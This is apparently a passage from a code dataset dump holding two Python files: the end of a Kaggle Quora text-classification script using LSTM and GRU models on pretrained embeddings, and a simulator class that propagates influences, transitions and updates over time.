a *= K.cast(mask, K.floatx())\n\n a /= K.cast(K.sum(a, axis=1, keepdims=True) + K.epsilon(), K.floatx())\n\n a = K.expand_dims(a)\n weighted_input = x * a\n return K.sum(weighted_input, axis=1)\n\n def compute_output_shape(self, input_shape):\n return input_shape[0], self.features_dim\n\n\ndef best_threshold(y_hat, y):\n # borrowed from: \n # www.kaggle.com/jannen/reaching-0-7-fork-from-bilstm-attention-kfold\n tmp = [0, 0, 0] # idx, cur, max\n delta = 0\n for tmp[0] in np.arange(0.1, 0.501, 0.01):\n tmp[1] = f1_score(y, (y_hat > tmp[0]).astype(int))\n if tmp[1] > tmp[2]:\n delta = tmp[0]\n tmp[2] = tmp[1]\n print('Best threshold is {:.4f} with F1 score: {:.4f}'.format(delta, tmp[2]))\n return delta, tmp[2]\n\n\ndef nn_fit_test(model, batch_size=512, epochs=2, cl_weight=None,\n datasets=None):\n # recover data\n train_X = datasets['train_X']\n train_y = datasets['train_y']\n val_X = datasets['val_X']\n val_y = datasets['val_y']\n test_X = datasets['test_X']\n\n # model fitting\n if cl_weight is None:\n model.fit(train_X, train_y, batch_size=batch_size, epochs=epochs,\n validation_data=(val_X, val_y))\n else:\n model.fit(train_X, train_y, batch_size=batch_size, epochs=epochs,\n validation_data=(val_X, val_y), class_weight=cl_weight)\n\n # apply model to training, validation and test\n train_y_hat = model.predict([train_X], batch_size=batch_size, verbose=1)\n val_y_hat = model.predict([val_X], batch_size=batch_size, verbose=1)\n test_y_hat = model.predict([test_X], batch_size=batch_size, verbose=1)\n\n # F1 score on validation\n bt, f1 = best_threshold(val_y_hat, val_y)\n\n return train_y_hat, val_y_hat, test_y_hat, bt, f1\n\n\ndef add_features(df0):\n\n df = df0.copy()\n df['question_text'] = df['question_text'].apply(lambda x: str(x))\n df['total_length'] = df['question_text'].apply(len)\n df['capitals'] = df['question_text'].apply(lambda comment: sum(1 for c in comment if c.isupper()))\n df['caps_vs_length'] = df.apply(lambda row: float(row['capitals']) / float(row['total_length']),\n axis=1)\n df['num_words'] = df.question_text.str.count('\\S+')\n df['num_unique_words'] = df['question_text'].apply(lambda comment: len(set(w for w in comment.split())))\n df['words_vs_unique'] = df['num_unique_words'] / df['num_words']\n\n return df\n\n\n# > LOAD DATA\n\ntrain_df = pd.read_csv(\"../input/train.csv\")\ntest_df = pd.read_csv(\"../input/test.csv\")\n\n\n# > TV SPLIT + DATA CLEANING\n\n# >> training / validation split\n\ntrain_df, val_df = train_test_split(train_df, test_size=0.15,\n random_state=2019)\n\n# >> extract corpus\n\ntrain_corpus = train_df['question_text']\nval_corpus = val_df['question_text']\ntest_corpus = test_df['question_text']\n\n# >> clean corpus\n\ntrain_corpus = clean_corpus(train_corpus)\nval_corpus = clean_corpus(val_corpus)\ntest_corpus = clean_corpus(test_corpus)\n\n# > TOKENIZE\n\n# >> fit tokenizer\n\ntrain_tokenizer = fit_tokenizer(train_corpus, max_features=MAX_FEATURES,\n add_filters=\"'’\")\n\n\n# > LOAD EMBEDDINGS\n\nembedding_glove_filtered = load_glove(train_tokenizer, EMBEDDING_FILE_GLOVE)\ngc.collect() # probably useless\nembedding_paragram_filtered = load_paragram(train_tokenizer, EMBEDDING_FILE_PARAGRAM)\ngc.collect()\nembedding_wiki_filtered = load_wiki(train_tokenizer, EMBEDDING_FILE_WIKI)\ngc.collect()\n\n\n# > FINAL STEPS BEFORE NN\n\n# >> apply tokenizer and create matrices\n\ntrain_nn_x = create_word_matrix(train_tokenizer,\n train_corpus, MAX_SENTENCE_LEN)\nval_nn_x = create_word_matrix(train_tokenizer,\n val_corpus, MAX_SENTENCE_LEN)\ntest_nn_x = create_word_matrix(train_tokenizer,\n test_corpus, MAX_SENTENCE_LEN)\n\n# >> extract target array\n\ntrain_nn_y = train_df['target']\nval_nn_y = val_df['target']\n\n\n# DATA IN & OUT (run just once!)\n\n# >> input data\n\ndata_4_nn = {'train_X': train_nn_x,\n 'train_y': train_nn_y,\n 'val_X': val_nn_x,\n 'val_y': val_nn_y,\n 'test_X': test_nn_x}\n\n# >> initialize results\n\nnn_fit_results = dict()\n\n\n# > MODEL FUNCTIONS\n\ndef model_lstm_attention(embedding_matrix, sentences_maxlen=MAX_SENTENCE_LEN,\n max_features=MAX_FEATURES, embedding_size=EMBED_SIZE):\n if max_features != embedding_matrix.shape[0]:\n max_features = embedding_matrix.shape[0]\n inp = Input(shape=(sentences_maxlen,))\n x = Embedding(max_features, embedding_size,\n weights=[embedding_matrix], trainable=False)(inp)\n x = Bidirectional(CuDNNLSTM(128, return_sequences=True))(x)\n x = Dropout(0.10)(x)\n x = Bidirectional(CuDNNLSTM(64, return_sequences=True))(x)\n x = Attention(sentences_maxlen)(x)\n x = Dense(64, activation=\"relu\")(x)\n x = Dropout(0.15)(x)\n x = Dense(1, activation=\"sigmoid\")(x)\n model = Model(inputs=inp, outputs=x)\n model.compile(loss='binary_crossentropy',\n optimizer='adam', metrics=['accuracy'])\n\n return model\n\n\ndef model_gru_pooling(embedding_matrix, sentences_maxlen=MAX_SENTENCE_LEN,\n max_features=MAX_FEATURES, embedding_size=EMBED_SIZE):\n if max_features != embedding_matrix.shape[0]:\n max_features = embedding_matrix.shape[0] \n inp = Input(shape=(sentences_maxlen,))\n x = Embedding(max_features, embedding_size,\n weights=[embedding_matrix], trainable=False)(inp)\n x = Bidirectional(CuDNNGRU(64, return_sequences=True, stateful=False))(x)\n avg_pool = GlobalAveragePooling1D()(x)\n max_pool = GlobalMaxPooling1D()(x)\n conc = concatenate([avg_pool, max_pool])\n x = Dense(64, activation=\"relu\")(conc)\n x = Dropout(0.2)(x)\n x = Dense(32, activation=\"relu\")(x)\n x = Dropout(0.1)(x)\n x = Dense(1, activation=\"sigmoid\")(x)\n model = Model(inputs=inp, outputs=x)\n model.compile(loss='binary_crossentropy',\n optimizer='adam', metrics=['accuracy'])\n\n return model\n\n\n# > NN PT.1: LSTM W/ATTENTION (ONE EMBEDDING AT A TIME)\n\n# Based on:\n# https://www.kaggle.com/shujian/mix-of-nn-models-based-on-meta-embedding\n\n# >> Glove only\n\nmod_lstmA_glove = model_lstm_attention(embedding_glove_filtered)\nprint(mod_lstmA_glove.summary())\n\nnn_fit_results['lstm a glove only'] = nn_fit_test(mod_lstmA_glove, epochs=3, datasets=data_4_nn)\n\n# >> Wiki only\n\nmod_lstmA_wiki = model_lstm_attention(embedding_wiki_filtered)\nprint(mod_lstmA_wiki.summary())\n\nnn_fit_results['lstm a wiki only'] = nn_fit_test(mod_lstmA_wiki, epochs=3, datasets=data_4_nn)\n\n# >> Paragram only\n\nmod_lstmA_paragram = model_lstm_attention(embedding_paragram_filtered)\nprint(mod_lstmA_paragram.summary())\n\nnn_fit_results['lstm a paragram only'] = nn_fit_test(mod_lstmA_paragram, epochs=3, datasets=data_4_nn)\n\n\n# # > NN PT.2: GRU W/POOLING\n# \n# # >> Glove only\n# \n# mod_gruP_glove = model_gru_pooling(embedding_glove_filtered)\n# print(mod_gruP_glove.summary())\n# \n# nn_fit_results['gru pool glove only'] = nn_fit_test(mod_gruP_glove, epochs=3, datasets=data_4_nn)\n# \n# # >> Wiki only\n# \n# mod_gruP_wiki = model_gru_pooling(embedding_wiki_filtered)\n# print(mod_gruP_wiki.summary())\n# \n# nn_fit_results['gru pool wiki only'] = nn_fit_test(mod_gruP_wiki, epochs=3, datasets=data_4_nn)\n# \n# # >> Paragram only\n# \n# mod_gruP_paragram = model_gru_pooling(embedding_paragram_filtered)\n# print(mod_gruP_paragram.summary())\n# \n# nn_fit_results['gru pool paragram only'] = nn_fit_test(mod_gruP_paragram, epochs=3, datasets=data_4_nn)\n# \n\n# > FINAL PREDICTION\n\n# >> assign probability with embeddings\n\n# train\ntrain_df['pr_lstma_glove'] = nn_fit_results['lstm a glove only'][0]\ntrain_df['pr_lstma_wiki'] = nn_fit_results['lstm a wiki only'][0]\ntrain_df['pr_lstma_paragram'] = nn_fit_results['lstm a paragram only'][0]\n#train_df['pr_grup_glove'] = nn_fit_results['gru pool glove only'][0]\n#train_df['pr_grup_wiki'] = nn_fit_results['gru pool wiki only'][0]\n#train_df['pr_grup_paragram'] = nn_fit_results['gru pool paragram only'][0]\n\n# validation\nval_df['pr_lstma_glove'] = nn_fit_results['lstm a glove only'][1]\nval_df['pr_lstma_wiki'] = nn_fit_results['lstm a wiki only'][1]\nval_df['pr_lstma_paragram'] = nn_fit_results['lstm a paragram only'][1]\n# val_df['pr_grup_glove'] = nn_fit_results['gru pool glove only'][1]\n# val_df['pr_grup_wiki'] = nn_fit_results['gru pool wiki only'][1]\n# val_df['pr_grup_paragram'] = nn_fit_results['gru pool paragram only'][1]\n\n# test\ntest_df['pr_lstma_glove'] = nn_fit_results['lstm a glove only'][2]\ntest_df['pr_lstma_wiki'] = nn_fit_results['lstm a wiki only'][2]\ntest_df['pr_lstma_paragram'] = nn_fit_results['lstm a paragram only'][2]\n# test_df['pr_grup_glove'] = nn_fit_results['gru pool glove only'][2]\n# test_df['pr_grup_wiki'] = nn_fit_results['gru pool wiki only'][2]\n# test_df['pr_grup_paragram'] = nn_fit_results['gru pool paragram only'][2]\n\n# >> final probability and threshold\n\npr_mean_val = (val_df['pr_lstma_glove'] + val_df['pr_lstma_paragram'] + \\\n val_df['pr_lstma_wiki']) / 3\n\nbt, f1 = best_threshold(pr_mean_val, val_nn_y)\n\n\n# > SAVE SUBMISSION\n\npr_mean_test = (test_df['pr_lstma_glove'] + test_df['pr_lstma_paragram'] + \\\n test_df['pr_lstma_wiki']) / 3\n\npred_test_y = (pr_mean_test>bt).astype(int)\nout_df = pd.DataFrame({\"qid\":test_df[\"qid\"].values})\nout_df['prediction'] = pred_test_y\nout_df.to_csv(\"submission.csv\", index=False)","sub_path":"Quora/prog/08_QUORA_finale.py","file_name":"08_QUORA_finale.py","file_ext":"py","file_size_in_byte":24975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"185331766","text":"from src.config import config\nfrom .tracestore import TraceStore\nfrom src.model import get_all_entities, get_all_ports, REAL, \\\n get_influences, get_transitions, get_entities, get_updates, get_actions, \\\n get_inputs, get_outputs, get_sources, get_locals\nfrom .transitiontime import TransitionTimeCalculator\nfrom .conditiontimedchangecalculator import ConditionTimedChangeCalculator\nfrom .to_z3 import to_python, evaluate_to_bool\nimport random\n\n\nimport logging\nlogger = logging.getLogger(__name__)\n\n\nclass BaseSimulator(object):\n\n def __init__(self, entity, timeunit=REAL, plotter=config.default_plotter, default_to_integer_real=config.use_integer_and_real, record_traces=config.record_traces):\n self.entity = entity\n self.timeunit = timeunit\n self.plotter = plotter\n self.global_time = 0\n self.default_to_integer_real = default_to_integer_real\n self.traces = TraceStore()\n self.record_traces = record_traces\n\n # go ahead and save the values right away\n # FIXME: disabled for now, if we do this, then we should also do after stabilise\n # if self.record_traces:\n # self.trace_store.save_entity(self.entity)\n\n def plot(self, entity=None, **kwargs):\n \"\"\"\n List of plotter options:\n updates = True\n update_labels = False\n transitions = True\n transition_labels = False\n influence_labels = False\n interface_only = False\n no_behaviour = False\n show_update_ports = False\n color_updates : False\n \"\"\"\n if not entity:\n entity = self.entity\n if self.plotter:\n title = \"(t = %s)\" % self.global_time\n return self.plotter.plot(entity, name=title, **kwargs)\n else:\n logger.error(\"No plotter defined!!!\")\n\n \"\"\" - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \"\"\"\n \"\"\" set values \"\"\"\n\n def set_values(self, port_value_map):\n print(\"xxx\")\n self._value_change(port_value_map)\n self._stabilise_fp(self.entity)\n\n def _value_change(self, port_value_map):\n for port, value in port_value_map.items():\n port.value = value\n\n \"\"\" stabilise \"\"\"\n\n def stabilise(self, entity=None):\n \"\"\"This one looks nicer in the API\"\"\"\n return self._stabilise_fp(entity)\n\n def _stabilise_fp(self, entity=None):\n if entity is None:\n entity = self.entity\n\n logger.debug(f\"stabilise FP for entity {entity._name} ({entity.__class__.__name__})\")\n stabilise_changes = self._stabilise(entity)\n if stabilise_changes:\n self._stabilise_fp(entity)\n\n return stabilise_changes\n\n def _stabilise(self, entity):\n logger.debug(f\"stabilise entity {entity._name} ({entity.__class__.__name__})\")\n influence_changes = self.influence_fp(entity)\n transition_changes = self.transition(entity)\n update_changes = self.update(entity, 0)\n\n # return if there were changes\n logger.debug(\"stabilise: (influence_changes: %s), (transition_changes: %s), (update_changes: %s)\", influence_changes, transition_changes, update_changes)\n return influence_changes or transition_changes or update_changes\n\n \"\"\" influence \"\"\"\n\n def influence_fp(self, entity):\n logger.debug(\"influence fp in entity %s (%s)\", entity._name, entity.__class__.__name__)\n\n influence_changes = self.influence(entity)\n if influence_changes:\n self.influence_fp(entity)\n\n return influence_changes\n\n def influence(self, entity):\n logger.debug(f\"influence in entity {entity._name} ({entity.__class__.__name__})\")\n changes = self.propagate_influences(entity)\n subchanges = self.stabilize_children(entity)\n # return if something changed\n return changes or subchanges\n\n def propagate_influences(self, entity):\n logger.debug(f\"propagate_influences in entity {entity._name} ({entity.__class__.__name__})\")\n changes = {}\n for inf in get_influences(entity):\n inf_func_value = self._get_influence_function_value(inf)\n if not bool(inf_func_value == inf.target.value):\n changes[inf.target] = inf_func_value\n\n # this actually executes the change of values\n for port, new_value in changes.items():\n logger.debug(f\"influence change in entity {entity._name} ({entity.__class__.__name__}): new value for port <<{port._name}>> is {new_value} (from: {port.value})\")\n self._value_change(changes)\n return len(changes) > 0\n\n def stabilize_children(self, entity):\n logger.debug(f\"stabilize_children in entity {entity._name} ({entity.__class__.__name__})\")\n subchanges = []\n for subentity in get_entities(entity):\n sub_changed = self._stabilise_fp(subentity)\n subchanges.append(sub_changed)\n return any(subchanges)\n\n def _get_influence_function_value(self, influence):\n return influence.get_function_value()\n\n def transition(self, entity):\n logger.debug(\"transitions in entity %s (%s)\", entity._name, entity.__class__.__name__)\n transitions_from_current_state = [t for t in get_transitions(entity) if t.source == entity.current]\n enabled_transitions = [t for t in transitions_from_current_state if self._get_transition_guard_value(t)]\n\n transition = None\n if len(enabled_transitions) >= 1:\n transition = random.choice(enabled_transitions)\n entity.current = transition.target\n logger.info(f\"Time: {self.global_time} | Firing transition <<{transition._name}>> in {entity._name} ({entity.__class__.__name__}) : {transition.source._name} -> {transition.target._name} | current global time: {self.global_time}\")\n\n transition_updates = [up for up in get_updates(transition._parent) if up.state == transition] # FIXME: until we completely switched to only allowing actions...\n actions = [a for a in get_actions(transition._parent) if a.transition == transition]\n for act in actions + transition_updates:\n logger.debug(f\"Triggering action {act._name} in entity {entity._name} ({entity.__class__.__name__})\")\n newval = self._get_action_function_value(act)\n if newval != act.target.value:\n logger.info(f\"Port value changed: {act.target._name} ({act.target._parent._name}) {act.target.value} -> {newval}\")\n act.target.value = newval\n\n # return if a transition was fired\n return (transition is not None)\n\n def _get_transition_guard_value(self, transition):\n value = transition.guard(transition._parent)\n logger.debug(f\"Transition {transition._name} in entity {transition._parent._name} ({transition._parent.__class__.__name__}) is enabled? {value}\")\n return value\n\n \"\"\" UPDATES \"\"\"\n\n def update_system(self, entity, time):\n logger.info(f\"{entity._name} ({entity.__class__.__name__}) with dt of {time}\")\n original_port_values = {t: t.value for t in get_all_ports(entity)}\n original_states = {e: (e.current if hasattr(e, \"current\") else None) for e in get_all_entities(entity)}\n\n # backup subentity-inputs' and outputs' pre values\n for sub in get_entities(entity):\n for _in in get_inputs(sub):\n _in.pre = _in.value\n for _out in get_outputs(sub):\n _out.pre = _out.value\n # and local pre values\n for local in get_locals(entity):\n local.pre = local.value\n\n self._update_fp(entity, time, original_states, original_port_values, first=True)\n\n # we return whether the entity's outputs changed so we know whether the parent has to re-calculate the updates\n output_changed = [original_port_values[p] != p.value for p in get_outputs(entity)]\n logger.info(f\"finished {entity._name} ({entity.__class__.__name__}) with dt of {time}\")\n return any(output_changed)\n\n def _update_fp(self, entity, time, original_states, original_port_values, first=False):\n logger.debug(f\"entity <<{entity._name}>> ({entity.__class__.__name__})\")\n update_changes = self._update(entity, time, original_states, original_port_values, first)\n if update_changes:\n logger.debug(f\"entity <<{entity._name}>> ({entity.__class__.__name__}) recurse\")\n self._update_fp(entity, time, original_states, original_port_values, first=False)\n\n return update_changes # return whether there were changes means there were changes\n # TODO: improvement: we could test whether the iteration invalidated (reset) the previous changes to stop parent from iterating\n\n def _update(self, entity, time, original_states, original_port_values, first=False):\n logger.debug(f\"entity <<{entity._name}>> ({entity.__class__.__name__}) with dt of {time}\")\n\n # set pre's\n for port in get_sources(entity):\n port.pre = original_port_values[port]\n\n current_port_values = {t: t.value for t in get_all_ports(entity)}\n updates_from_current_state = [up for up in get_updates(entity) if up.state == entity.current]\n\n \"\"\" apply updates \"\"\"\n values_to_update = {}\n for update in updates_from_current_state:\n logger.debug(f\"Executing update <<{update._name}>> (target: {update.target._name}) in entity {entity._name} ({entity.__class__.__name__})\")\n update_func_value = self._calculate_update_value(entity, time, original_states, original_port_values, update)\n if not bool(current_port_values[update.target] == update_func_value): # this means something changed\n values_to_update[update.target] = update_func_value\n logger.debug(f\"Update <<{update._name}>> in entity {entity._name} ({entity.__class__.__name__}) TEMP changing value of port {update.target._name} (type: {update.target.resource.unit}) to {update_func_value} (from {current_port_values[update.target]}) | global time {self.global_time}\")\n self._value_change(values_to_update)\n self.propagate_influences(entity) # propagate through influences and to children\n\n logger.debug(f\"executing subentity updates\")\n subentity_changes = []\n for subentity in get_entities(entity):\n # only do it if the inputs values changed, otherwise we'll stay like this...\n # also do it if it's the first time we execute\n if first or any(i.value != current_port_values[i] for i in get_inputs(subentity)):\n logger.debug(f\"Applying update to subentity {subentity._name} ({subentity.__class__.__name__})\")\n self.reset_subentity(subentity, original_states, original_port_values) # resets all except inputs\n self.update_system(subentity, time)\n self.stabilise(subentity)\n sub_changes = [o.value != current_port_values[o] for o in get_outputs(subentity)]\n logger.debug(f\"Applying update to subentity {subentity._name} ({subentity.__class__.__name__}) changed values: {any(sub_changes)}\")\n subentity_changes.append(any(sub_changes))\n logger.debug(f\"Finished update of subentity {subentity._name} ({subentity.__class__.__name__})\")\n logger.debug(f\"finished executing subentity updates\")\n self.propagate_influences(entity) # forward all influences\n\n logger.debug(f\"finished entity <<{entity._name}>> ({entity.__class__.__name__}) with dt of {time}\")\n # either port values changed or subentity interfaces changed\n return len(values_to_update) > 0 or any(subentity_changes)\n\n def _calculate_update_value(self, entity, time, original_states, original_port_values, update):\n current_target_val = update.target.value\n update.target.value = original_port_values[update.target] # reset target value\n up_func_value = self._get_update_function_value(update, time) # calculate it again\n update.target.value = current_target_val\n # if not bool(up_func_value == current_target_val): # this means something changed !\n # # if we come here, then clearly the value changed through the second update, i.e. there is a dependency somewhere\n # logger.debug(f\"Update {update._name} entity {entity._name} ({entity.__class__.__name__}) SECONDARY changing value of port {update.target._name} (type: {update.target.resource.unit}) to {up_func_value} (from {current_target_val}) | global time {self.global_time}\")\n # return True # change!!\n #\n # return False # no change\n return up_func_value\n\n def update(self, entity, time):\n time = to_python(time) # assert it's a python number\n logger.info(f\"entity <<{entity._name}>> ({entity.__class__.__name__}) dt = {time}\")\n\n for _in in get_inputs(entity):\n _in.pre = _in.value\n for _out in get_outputs(entity):\n _out.pre = _out.value\n\n before = {port: port.value for port in get_all_ports(entity)}\n retval = self.update_system(entity, time)\n logger.info(f\"finished entity <<{entity._name}>> ({entity.__class__.__name__}) dt = {time}\")\n for port in get_all_ports(entity):\n if port.value != before[port]:\n logger.info(f\"The following port value changed: {port._name} ({port._parent._name}) {before[port]} -> {port.value}\")\n return retval\n\n # updates_from_current_state = [up for up in get_updates(entity) if up.state == entity.current]\n #\n # original_port_values = {t: t.value for t in get_all_ports(entity)}\n # original_states = {e: e.current for e in get_all_entities(entity)}\n #\n # values_after_update = {}\n # for update in updates_from_current_state:\n # update_func_value = self._get_update_function_value(update, time)\n # values_after_update[update.target] = update_func_value\n # if not bool(original_port_values[update.target] == update_func_value):\n # logger.debug(f\"Update <<{update._name}>> in entity {entity._name} ({entity.__class__.__name__}) TEMP changing value of port {update.target._name} (type: {update.target.resource.unit}) to {update_func_value} (from {original_target_values[update.target]}) | global time {self.global_time}\")\n # # changes = True\n # self._value_change(values_after_update)\n # self.influence_fp(entity) # propagate through influences and to children\n #\n # subentity_inputs_before_update = {}\n # for sub in get_entities(entity):\n # self.update(sub, time)\n #\n # secondary_changes = True\n # while secondary_changes:\n # \"\"\" Check if the update effects are final \"\"\"\n # secondary_changes = False # reset the repetition flag\n # secondary_changes_to_values_after_update = {}\n # for secondary_update in updates_from_current_state:\n # # reset value, to make sure those self-referencing counters are still possible and not giving infinite loops\n # secondary_update.target.value = original_port_values[secondary_update.target]\n # up_func_value = self._get_update_function_value(secondary_update, time)\n # secondary_update.target.value = values_after_update[secondary_update.target] # we did this reset only for the calculation\n # if not bool(up_func_value == values_after_update[secondary_update.target]):\n # # if we come here, then clearly the value changed through the second update, i.e. there is a dependency somewhere\n # logger.debug(f\"Update {secondary_update._name} entity {entity._name} ({entity.__class__.__name__}) SECONDARY changing value of port {secondary_update.target._name} (type: {secondary_update.target.resource.unit}) to {up_func_value} (from {values_after_update[secondary_update.target]}) | global time {self.global_time}\")\n # logger.debug(f\"up_func_value: {up_func_value} --- values_after_update: {values_after_update[secondary_update.target]}\")\n # secondary_changes = True\n # secondary_changes_to_values_after_update[secondary_update.target] = up_func_value\n # values_after_update[secondary_update.target] = up_func_value\n # self._value_change(secondary_changes_to_values_after_update)\n # self.influence_fp(entity)\n #\n # \"\"\" Check if the subentities need re-calculation \"\"\"\n # for subentity in get_entities(entity):\n # for input_port in get_inputs(subentity):\n # if not bool(input_port.value == values_after_update[update.target]):\n # # If one of the input values changed, we need to re-calculate\n # self.reset(subentity, original_states, original_port_values)\n # self.update(subentity, time) # retry update\n # break # we reset, that's enough for now\n #\n # \"\"\" Report if there were changes \"\"\"\n # changes = False\n # for port in get_all_ports(entity):\n # if not bool(port.value == original_port_values[port]):\n # logger.info(f\"Updates in entity {entity._name} ({entity.__class__.__name__}) changed value of port {port._name} (type: {port.resource.unit}) to {port.value} (from {original_port_values[port]}) | global time {self.global_time}\")\n # changes = True\n #\n # for ent in get_all_entities(entity):\n # if ent.current == original_states[ent]:\n # logger.info(f\"Updates in entity {entity._name} ({entity.__class__.__name__}) changed state of entity {ent._name} to {ent.current._name} (from {original_states[ent]._name}) | global time {self.global_time}\")\n # changes = True\n #\n # stabilisation_changes = self.stabilise(entity) # TODO: not sure if this is necessary, think about it\n #\n # return changes or stabilisation_changes\n\n def reset_subentity(self, entity, state_map, port_value_map):\n logger.debug(f\"Resetting entity {entity._name} ({entity.__class__.__name__})\")\n for ent in get_all_entities(entity):\n if ent in state_map and state_map[ent] is not None:\n ent.current = state_map[ent]\n\n for port in get_all_ports(entity):\n if port not in get_inputs(entity): # don't reset the input values\n port.value = port_value_map[port]\n # port.pre = port_value_map[port] # but reset all pre values, including inputs, because we really want that state before\n\n # def update_fp(self, entity, time):\n # logger.debug(\"update_fp in entity %s (%s)\", entity._name, entity.__class__.__name__)\n # updates_from_current = [up for up in get_updates(entity) if up.state == entity.current]\n #\n # # save values\n # original_target_values = {t: t.value for t in get_targets(entity)}\n #\n # values_after_update = {}\n # for update in updates_from_current:\n # update_func_value = self._get_update_function_value(update, time)\n # values_after_update[update.target] = update_func_value\n # if not bool(original_target_values[update.target] == update_func_value):\n # logger.debug(f\"Update <<{update._name}>> in entity {entity._name} ({entity.__class__.__name__}) TEMP changing value of port {update.target._name} (type: {update.target.resource.unit}) to {update_func_value} (from {original_target_values[update.target]}) | global time {self.global_time}\")\n # # changes = True\n # self._value_change(values_after_update)\n # self.influence_fp(entity) # propagate through influences and to children\n #\n # secondary_changes = True\n # while secondary_changes:\n # secondary_changes = False # reset the repetition flag\n # secondary_changes_to_values_after_update = {}\n # for secondary_update in updates_from_current:\n # # reset value, to make sure those self-referencing counters are still possible and not giving infinite loops\n # secondary_update.target.value = original_target_values[secondary_update.target]\n # up_func_value = self._get_update_function_value(secondary_update, time)\n # secondary_update.target.value = values_after_update[secondary_update.target] # we did this reset only for the calculation\n # if not bool(up_func_value == values_after_update[secondary_update.target]):\n # # if we come here, then clearly the value changed through the second update, i.e. there is a dependency somewhere\n # logger.debug(f\"Update {secondary_update._name} entity {entity._name} ({entity.__class__.__name__}) SECONDARY changing value of port {secondary_update.target._name} (type: {secondary_update.target.resource.unit}) to {up_func_value} (from {values_after_update[secondary_update.target]}) | global time {self.global_time}\")\n # logger.debug(f\"up_func_value: {up_func_value} --- values_after_update: {values_after_update[secondary_update.target]}\")\n # secondary_changes = True\n # secondary_changes_to_values_after_update[secondary_update.target] = up_func_value\n # values_after_update[secondary_update.target] = up_func_value\n # self._value_change(secondary_changes_to_values_after_update)\n # self.influence_fp(entity)\n #\n # changes = False\n # for target_port, value in original_target_values.items():\n # if not bool(target_port.value == value):\n # logger.info(f\"Updates in entity {entity._name} ({entity.__class__.__name__}) changed value of port {target_port._name} (type: {target_port.resource.unit}) to {target_port.value} (from {value}) | global time {self.global_time}\")\n # changes = True\n #\n # return changes\n #\n # # changes = {}\n # # # execute updates\n # # for update in updates_from_current:\n # # up_func_value = self._get_update_function_value(update, time)\n # # if not bool(up_func_value == original_target_values[update.target]):\n # # changes[update.target] = up_func_value\n # # logger.info(f\"Update {update._name} in entity {entity._name} ({entity.__class__.__name__}) changing value of port {update.target._name} (type: {update.target.resource.unit}) to {up_func_value} | global time {self.global_time}\")\n # #\n # # # this actually executes the change of values\n # # self._value_change(changes)\n # #\n # # # return if there were changes\n # # return (len(changes) > 0)\n\n def _get_update_function_value(self, update, time):\n return update.function(update._parent, time)\n\n def _get_action_function_value(self, action):\n return action.function(action._parent)\n\n class WarningDuplicateFilter(logging.Filter):\n\n def __init__(self):\n self.warning_logs = set()\n\n def filter(self, record):\n # add other fields if you need more granular comparison, depends on your app\n if record.levelno != logging.WARNING:\n return True\n\n msg = record.getMessage()\n if msg in self.warning_logs:\n return False\n else:\n self.warning_logs.add(msg)\n return True\n # import pdb; pdb.set_trace()\n #\n # current_log = (record.module, record.levelno, record.msg)\n # if current_log != getattr(self, \"last_log\", None):\n # self.last_log = current_log\n # return True\n # return False\n\n def advance(self, t, consider_behaviour_changes=config.consider_behaviour_changes):\n filter = self.WarningDuplicateFilter()\n for handler in logging.root.handlers:\n handler.addFilter(filter)\n\n self.advance_rec(t, consider_behaviour_changes)\n\n for handler in logging.root.handlers:\n handler.removeFilter(filter)\n\n \"\"\" advance \"\"\"\n def advance_rec(self, t, consider_behaviour_changes=config.consider_behaviour_changes):\n # save traces\n if self.record_traces:\n self.traces.save_entity(self.entity, self.global_time)\n\n logger.info(f\"Received instructions to advance {t} time steps. (Current global time: {self.global_time})\")\n logger.debug(\"starting advance of %s time units. (global time now: %s)\", t, self.global_time)\n if evaluate_to_bool(t <= 0):\n logger.warn(\"Advancing 0 is not allowed. Use stabilise_fp instead.\")\n return\n\n if consider_behaviour_changes:\n next_trans = self.next_behaviour_change_time()\n else:\n next_trans = self.next_transition_time()\n\n if next_trans is None:\n logger.info(f\"No next transition, just advance {t}\")\n self.global_time += t\n # execute all updates in all entities\n self.update(self.entity, t)\n logger.debug(\"Finished updates after advance\")\n\n # stabilise the system\n self._stabilise_fp(self.entity)\n\n # record those traces\n if self.record_traces:\n self.traces.save_entity(self.entity, self.global_time)\n return\n\n # ntt = next_trans[0]\n ntt = to_python(next_trans[0])\n if evaluate_to_bool(ntt >= t):\n logger.info(f\"Advancing {t}\")\n self.global_time += t\n # execute all updates in all entities\n self.update(self.entity, t)\n logger.debug(\"Finished updates after advance\")\n\n # stabilise the system\n self._stabilise_fp(self.entity)\n logger.info(f\"Finished Advancing {t}\")\n else:\n logger.info(f\"The next transition is in {ntt} time units. Advancing that first, then the rest of the {t}.\")\n self.advance_rec(ntt, consider_behaviour_changes)\n logger.info(f\"Now need to advance the rest of the {t}: {t - ntt}\")\n self.advance_rec(t - ntt, consider_behaviour_changes)\n logger.debug(f\"finished total advance of {t} (time is now {self.global_time})\")\n\n # record those traces\n if self.record_traces:\n self.traces.save_entity(self.entity, self.global_time)\n\n \"\"\" - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \"\"\"\n\n def get_next_transition_time(self):\n \"\"\" this function is a convenience for debugging, so we don't have to create a TransitionTimeCalculator manually \"\"\"\n ntt = self.next_transition_time()\n if ntt:\n logger.info(f\"The next transition to fire is '{ntt[1]._name}' in ntt={to_python(ntt[0])} time steps\")\n return (ntt[1]._name, to_python(ntt[0]))\n else:\n logger.info(\"There is no transition reachable by time advance.\")\n return None\n\n def next_transition_time(self):\n \"\"\" this function is a convenience for debugging, so we don't have to create a TransitionTimeCalculator manually \"\"\"\n logger.info(self.timeunit)\n return TransitionTimeCalculator(self.entity, self.timeunit, use_integer_and_real=self.default_to_integer_real).get_next_transition_time()\n\n \"\"\" - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \"\"\"\n\n # def advance_behaviour_change(self, t):\n # # save traces\n # if self.record_traces:\n # self.traces.save_entity(self.entity, self.global_time)\n #\n # logger.info(f\"Received instructions to advance {t} time steps. (Current global time: {self.global_time})\")\n # logger.debug(\"starting advance of %s time units. (global time now: %s)\", t, self.global_time)\n # if t <= 0:\n # logger.warn(\"Advancing 0 is not allowed. Use stabilise_fp instead.\")\n # return\n #\n # next_trans = self.next_behaviour_change_time()\n # if next_trans is None:\n # logger.info(f\"No next behaviour change, just advance {t}\")\n # # execute all updates in all entities\n # self.update(self.entity, t)\n # # for e in get_all_entities(self.entity):\n # # self.update(e, t)\n #\n # # stabilise the system\n # self._stabilise_fp(self.entity)\n # self.global_time += t\n #\n # # record those traces\n # if self.record_traces:\n # self.traces.save_entity(self.entity, self.global_time)\n 